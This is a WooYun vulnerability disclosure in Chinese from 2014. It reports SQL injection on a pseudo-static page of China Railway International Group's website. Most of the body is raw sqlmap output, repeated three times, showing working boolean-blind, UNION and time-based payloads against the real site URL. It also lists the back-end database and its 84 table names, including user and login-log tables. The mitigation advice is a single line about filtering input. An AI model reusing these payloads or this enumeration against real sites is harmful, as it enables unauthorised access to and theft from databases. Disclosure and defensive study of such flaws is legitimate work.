漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-082979
漏洞标题：中铁国际集团有限公司伪静态页面注入+信息泄露
相关厂商：中铁国际集团有限公司
漏洞作者： 路人甲
提交时间：2014-11-12 14:08
修复时间：2014-12-27 14:10
公开时间：2014-12-27 14:10
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-12-27： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
中铁国际集团公司伪静态页面注入漏洞
详细说明：
存在注射页面：
http://www.crecgi.com/?resultsshow/tp/235/id/14*.html
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND 8362=8362 AND 'jdYI'='jdYI.html
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/-1510' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71786b6271,0x4f716c426e7a66585542,0x716a767871),NULL,NULL#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND SLEEP(5) AND 'fIWT'='fIWT.html
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND 8362=8362 AND 'jdYI'='jdYI.html
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/-1510' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71786b6271,0x4f716c426e7a66585542,0x716a767871),NULL,NULL#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND SLEEP(5) AND 'fIWT'='fIWT.html
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
available databases [2]:
[*] hdm0350543_db
[*] information_schema
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND 8362=8362 AND 'jdYI'='jdYI.html
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/-1510' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71786b6271,0x4f716c426e7a66585542,0x716a767871),NULL,NULL#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.crecgi.com:80/?resultsshow/tp/235/id/14' AND SLEEP(5) AND 'fIWT'='fIWT.html
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: hdm0350543_db
[84 tables]
+-----------------------+
| cn_area |
| cn_contact |
| cn_download |
| cn_email |
| cn_erweima |
| cn_history |
| cn_index_about |
| cn_index_img |
| cn_index_news_img |
| cn_index_video_img |
| cn_info |
| cn_job |
| cn_leave_message |
| cn_links |
| cn_links_class |
| cn_news |
| cn_news_class |
| cn_news_img |
| cn_object |
| cn_object_jp |
| cn_object_type |
| cn_rongyu |
| cn_seo |
| cn_single |
| cn_video |
| en_area_en |
| en_contact_en |
| en_download_en |
| en_email_en |
| en_erweima_en |
| en_history_en |
| en_index_about_en |
| en_index_img_en |
| en_index_news_img_en |
| en_index_video_img_en |
| en_info_en |
| en_job_en |
| en_leave_message_en |
| en_links_class_en |
| en_links_en |
| en_news_img_en |
| en_object_en |
| en_object_jp_en |
| en_object_type_en |
| en_rongyu_en |
| en_seo_en |
| en_single_en |
| en_video_en |
| mx_appcalist |
| mx_appgroups |
| mx_applivs |
| mx_datasyndic |
| mx_fieldatas |
| mx_fields |
| mx_fieldupload |
| mx_filters |
| mx_forms |
| mx_killpoison |
| mx_loginlogs |
| mx_menu |
| mx_mgroup |
| mx_mod_advs |
| mx_mod_blocks |
| mx_mod_slots |
| mx_mod_topic |
| mx_mod_topicstyle |
| mx_optlog_1402 |
| mx_optlog_1403 |
| mx_optlog_1404 |
| mx_optlog_1405 |
| mx_optlog_1406 |
| mx_optlog_1407 |
| mx_optlog_1408 |
| mx_optlog_1409 |
| mx_optlog_1410 |
| mx_optlog_1411 |
| mx_outputsets |
| mx_pickimport |
| mx_picknode |
| mx_picktemps |
| mx_sitesearch |
| mx_uploads |
| mx_user |
| mx_vip_user |
+-----------------------+
怕跨省，未做进一步深入。。。。
漏洞证明：
见详细说明。
修复方案：
输入输出字段过滤！！
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝